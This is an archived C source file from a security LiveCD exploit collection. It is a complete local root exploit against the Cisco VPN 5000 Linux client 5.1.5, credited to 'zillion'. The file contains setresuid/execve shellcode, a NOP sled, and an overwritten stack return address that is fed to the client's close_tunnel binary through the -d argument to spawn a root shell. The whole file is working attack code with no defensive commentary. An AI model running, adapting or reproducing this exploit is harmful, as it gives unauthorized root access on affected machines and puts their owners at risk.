home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / vpn / vpnclient / cisco-vpn-5000-lnx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  80 lines

  1. /*
  2.  * Cisco VPN 5000 Linux client version 5.1.5 local root exploit 
  3.  *
  4.  * By zillion[at]safemode.org 09/2002 
  5.  * 
  6.  * Greets to the 0dd people ;p
  7.  *
  8.  */
  9.  
  10. #include <unistd.h>
  11. #include <sys/stat.h>
  12. #include <string.h>
  13.  
  14. #define BUFFER_SIZE 2504
  15. #define NOP 0x90
  16. #define RET 0xbffff0e0
  17.  
  18. char shellcode[]=
  19.  
  20.         /* setresuid(0,0,0) &&  execve("/bin/sh",["/bin/sh"],0); */
  21.         "\xeb\x26\x5e\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb0\xa4\xcd\x80"
  22.         "\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b"
  23.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xd5\xff\xff\xff"
  24.         "\x2f\x62\x69\x6e\x2f\x73\x68";
  25.  
  26. void print_error(char * burb) { 
  27.         printf(" Error: %s !\n",burb); exit(0); 
  28. }
  29.  
  30. void usage(char *progname) {
  31.         printf("\nDefault: %s  -f /path/to/close_tunnel",progname);
  32.         printf("\nOption : %s  -o <offset>\n\n",progname);
  33.         exit(0);
  34. }
  35.  
  36. int main(int argc, char **argv){
  37.  
  38. char buffer[BUFFER_SIZE];
  39. char file[30];
  40. long retaddress;
  41. int arg,offset=600;
  42.  
  43. struct stat sbuf;
  44.  
  45. if(argc < 2) { usage(argv[0]); }
  46.  
  47. while ((arg = getopt (argc, argv, "f:o:")) != -1){ 
  48.       switch (arg){ 
  49.       case 'f': 
  50.         strncpy(file,optarg,sizeof(file));
  51.         if(stat(argv[2], &sbuf)) { print_error("No such file");}
  52.         break; 
  53.       case 'o':       
  54.         offset = atoi(optarg);
  55.         if(offset < 0) { print_error("Offset must be positive");}
  56.         break; 
  57.       default :       
  58.         usage(argv[0]); 
  59.      } 
  60.  
  61. retaddress = (RET - offset);
  62. memset(buffer,NOP,BUFFER_SIZE);
  63. memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);
  64.  
  65. /* Overwrite EBP and EIP */
  66. *(long *)&buffer[BUFFER_SIZE - 8]  = retaddress;
  67. *(long *)&buffer[BUFFER_SIZE - 4]  = retaddress;
  68.  
  69. if(execl(file,file,"-d",buffer,NULL) != 0) {
  70.         print_error("Could not execute file");
  71. }
  72.  
  73. return 0;
  74.  
  75. }
  76.  
  77.  
  78.  
  79.